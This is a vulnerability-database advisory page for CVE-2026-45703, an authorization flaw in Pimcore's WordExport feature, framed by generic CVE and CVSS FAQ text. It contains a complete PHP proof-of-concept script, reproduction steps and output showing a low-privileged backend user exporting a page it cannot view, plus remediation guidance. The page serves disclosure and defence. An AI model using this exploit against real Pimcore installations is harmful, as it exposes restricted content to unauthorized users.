How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,212

Total vulnerabilities in the database

CVE-2026-45703 — pimcore / pimcore

Incorrect Authorization

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

POC-WORDEXPORT-TITLE
POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

[TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
TranslationController.php

It then directly resolves the target element from attacker-controlled type/id input:

[TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
[TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)

For document-like elements such as Page and Snippet, it renders content in an admin context:

[TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
TranslationController.php
TranslationController.php

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

page
snippet
email
object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

The attacker is an authenticated backend user
The attacker has the word_export permission
The attacker does not have view permission on the target document

Reproduction Environment

Reproduction root: pimcore-12.3.3-repro
Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)

&lt;?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . &#039;/vendor/autoload.php&#039;;

define(&#039;PIMCORE_PROJECT_ROOT&#039;, dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel(&#039;dev&#039;, true);
    \Pimcore::setKernel($kernel);
    $kernel-&gt;boot();

    $container = $kernel-&gt;getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        &#039;request_stack&#039;,
    ]);

    $admin = User::getByName(&#039;admin&#039;);
    if (!$admin instanceof User) {
        fail(&#039;admin user is missing&#039;);
    }

    $auditor = User::getByName(&#039;auditor_wordexport&#039;);
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor-&gt;setParentId(0);
        $auditor-&gt;setName(&#039;auditor_wordexport&#039;);
    }

    $auditor-&gt;setAdmin(false);
    $auditor-&gt;setActive(true);
    $auditor-&gt;setPassword(Authentication::getPasswordHash(&#039;auditor_wordexport&#039;, &#039;auditor-pass&#039;));
    $auditor-&gt;setPermissions([&#039;word_export&#039;]);
    $auditor-&gt;setRoles([]);
    $auditor-&gt;setWorkspacesDocument([]);
    $auditor-&gt;setWorkspacesAsset([]);
    $auditor-&gt;setWorkspacesObject([]);
    $auditor-&gt;save();

    $page = Page::getByPath(&#039;/poc-wordexport-secret-page&#039;);
    if (!$page instanceof Page) {
        $page = new Page();
        $page-&gt;setParentId(1);
        $page-&gt;setKey(&#039;poc-wordexport-secret-page&#039;);
    }

    $page-&gt;setPublished(true);
    $page-&gt;setController(&#039;App\\Controller\\DefaultController::defaultAction&#039;);
    $page-&gt;setTemplate(&#039;default/default.html.twig&#039;);
    $page-&gt;setTitle(&#039;POC-WORDEXPORT-TITLE&#039;);
    $page-&gt;setDescription(&#039;POC-WORDEXPORT-DESC&#039;);
    $page-&gt;setProperty(&#039;language&#039;, &#039;text&#039;, &#039;en&#039;, false, true);
    $page-&gt;setUserOwner($admin-&gt;getId());
    $page-&gt;setUserModification($admin-&gt;getId());
    $page-&gt;save();

    $canViewPage = $page-&gt;getDao()-&gt;isAllowed(&#039;view&#039;, $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = &#039;wordexportpoc1&#039;;
    $exportRequest = new Request([], [
        &#039;id&#039; =&gt; $exportId,
        &#039;data&#039; =&gt; json_encode([
            [&#039;type&#039; =&gt; &#039;document&#039;, &#039;id&#039; =&gt; $page-&gt;getId()],
        ], JSON_THROW_ON_ERROR),
        &#039;source&#039; =&gt; &#039;en&#039;,
    ]);

    $requestStack-&gt;push($exportRequest);
    $controller-&gt;wordExportAction($exportRequest, new Filesystem());
    $requestStack-&gt;pop();

    $downloadRequest = new Request([&#039;id&#039; =&gt; $exportId]);
    $requestStack-&gt;push($downloadRequest);
    $downloadResponse = $controller-&gt;wordExportDownloadAction($downloadRequest);
    $requestStack-&gt;pop();

    $wordContent = (string) $downloadResponse-&gt;getContent();

    echo json_encode([
        &#039;vulnerability&#039; =&gt; &#039;wordexport_authorization_bypass&#039;,
        &#039;user&#039; =&gt; [
            &#039;id&#039; =&gt; $auditor-&gt;getId(),
            &#039;name&#039; =&gt; $auditor-&gt;getName(),
            &#039;permissions&#039; =&gt; $auditor-&gt;getPermissions(),
        ],
        &#039;target_page&#039; =&gt; [
            &#039;id&#039; =&gt; $page-&gt;getId(),
            &#039;path&#039; =&gt; $page-&gt;getFullPath(),
            &#039;title&#039; =&gt; $page-&gt;getTitle(),
            &#039;description&#039; =&gt; $page-&gt;getDescription(),
            &#039;user_can_view_page&#039; =&gt; $canViewPage,
        ],
        &#039;result&#039; =&gt; [
            &#039;download_contains_title&#039; =&gt; str_contains($wordContent, &#039;POC-WORDEXPORT-TITLE&#039;),
            &#039;download_contains_description&#039; =&gt; str_contains($wordContent, &#039;POC-WORDEXPORT-DESC&#039;),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        &#039;%s: %s in %s:%d%s&#039;,
        $e::class,
        $e-&gt;getMessage(),
        $e-&gt;getFile(),
        $e-&gt;getLine(),
        $e-&gt;getTraceAsString() ? PHP_EOL . $e-&gt;getTraceAsString() : &#039;&#039;
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller-&gt;setContainer($container);
    $controller-&gt;setTokenResolver($tokenResolver);

    if (method_exists($controller, &#039;setPimcoreSerializer&#039;)) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            &#039;Pimcore\\Serializer\\Serializer&#039;,
        ]);
        $controller-&gt;setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, &#039;pimcore_admin&#039;, $proxyUser-&gt;getRoles());
    $tokenStorage-&gt;setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container-&gt;has($id)) {
                return $container-&gt;get($id);
            }
        } catch (Throwable) {
        }
    }

    fail(&#039;Unable to resolve service: &#039; . implode(&#039;, &#039;, $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
Create a test page at /poc-wordexport-secret-page containing sensitive values:
- title = POC-WORDEXPORT-TITLE
- description = POC-WORDEXPORT-DESC
Verify that the user does not have view permission on that page.
Execute wordExportAction() and wordExportDownloadAction() as that user.
Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  &quot;vulnerability&quot;: &quot;wordexport_authorization_bypass&quot;,
  &quot;user&quot;: {
    &quot;name&quot;: &quot;auditor_wordexport&quot;,
    &quot;permissions&quot;: [
      &quot;word_export&quot;
    ]
  },
  &quot;target_page&quot;: {
    &quot;path&quot;: &quot;/poc-wordexport-secret-page&quot;,
    &quot;title&quot;: &quot;POC-WORDEXPORT-TITLE&quot;,
    &quot;description&quot;: &quot;POC-WORDEXPORT-DESC&quot;,
    &quot;user_can_view_page&quot;: false
  },
  &quot;result&quot;: {
    &quot;download_contains_title&quot;: true,
    &quot;download_contains_description&quot;: true
  }
}

This shows that:

The user cannot view the target page
The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

Unauthorized disclosure of structured page fields
Unauthorized export of restricted backend content
Potential exposure of unpublished or otherwise restricted content
Lateral data access by low-privileged backend accounts

Remediation

Perform object-level authorization immediately after resolving the element from type/id.
Require at least view permission on the target element.
Apply consistent authorization checks across page, snippet, email, and object.
Bind export creation and export download to the requesting user or an equivalent authorization context.
Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Published: May 27, 2026
Updated: May 28, 2026
CVE: CVE-2026-45703
GHSA: GHSA-332x-r494-54fq
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.4
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

CWEs:

CWE-863

Affected Software
References

Software	From	Fixed in
pimcore / pimcore	-	12.3.7

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.